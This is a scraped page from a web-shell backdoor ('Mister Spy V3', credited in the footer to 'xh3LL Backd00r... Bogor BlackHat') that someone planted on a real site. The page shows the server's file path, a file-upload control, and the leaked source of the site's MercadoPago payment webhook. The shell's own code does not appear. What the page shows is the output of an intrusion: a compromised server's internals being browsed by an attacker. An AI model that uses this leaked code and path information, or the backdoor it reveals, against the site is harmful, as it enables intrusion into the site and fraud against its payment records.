Mister Spy Say ="Hello Kids ... :D" ___ ____ _ _____ | \/ (_) | | / ___| | . . |_ ___| |_ ___ _ __ \ `--. _ __ _ _ | |\/| | / __| __/ _ \ '__| `--. \ '_ \| | | | | | | | \__ \ || __/ | /\__/ / |_) | |_| | \_| |_/_|___/\__\___|_| \____/| .__/ \__, | | | __/ | |_| |___/ Bot Mister Spy V3
Mister Spy

Mister Spy

Current Path : /home/caballoscriollos/public_html/espanol/
Upload File :
Current File : /home/caballoscriollos/public_html/espanol/mercadopago-procesar.php

<?php

require_once('library/class.mercadopago.php');
require_once('library/class.jinetespagos.php');
require_once('library/class.jinetes.php');
require_once('library/class.estadospago.php');
require_once('library/class.usuarios.php');
require_once('library/class.eventos.php');

$params = json_decode(file_get_contents('php://input'), true);

$paymentIdMP = 0;
if (array_key_exists('type', $params) && $params['type'] == 'payment') {

    if (array_key_exists('data', $params)) {

         $paymentIdMP = $params['data']['id'];

    }

} elseif (array_key_exists('topic', $params) && $params['topic'] == 'payment') {

    if (array_key_exists('resource', $params)) {

        $parts = explode('/', $params['resource']);
        $paymentIdMP = $parts[count($parts) - 1];

    }

}

if ($paymentIdMP) {

	if (!$payment = MercadoPago::GetPayment($paymentIdMP)) {

		http_response_code(404);
		header('Content-type: application/json');
		echo json_encode(['success' => false]);

	}
	$oJinetesPagos = new JinetesPagos();
	$jinetePago = $oJinetesPagos->GetById($payment->external_reference);

	$totalPago = 0;
	if ($payment->status == 'approved'){
      $totalPago += $payment->transaction_amount;
  }

  if($totalPago >= $jinetePago->Total) {

      $jinetePago->IdEstado = EstadosPago::Acreditado;
      $jinetePago->CodigoPago = $paymentIdMP;
      $jinetePago->FechaAcreditacion = date('d-m-Y H:i:s');
      $oJinetesPagos->Update($jinetePago);
      
      $oJinetes = new Jinetes();
      $jinete = $oJinetes->GetById($jinetePago->IdJinete);

      if ($jinetePago->Anual || $jinetePago->Semestral) {
      	$jinete->FechaVencimientoPago = $jinetePago->FechaVencimientoPago;
      	$oJinetes->Update($jinete);
      }

      $jinetePago->MailConfirmacion();



  }

}

http_response_code(200);
header('Content-type: application/json');
echo json_encode(['success' => true]);

?>

Mr. DellatioNx196 GaLers xh3LL Backd00r 1.0, Coded By Mr. DellatioNx196 - Bogor BlackHat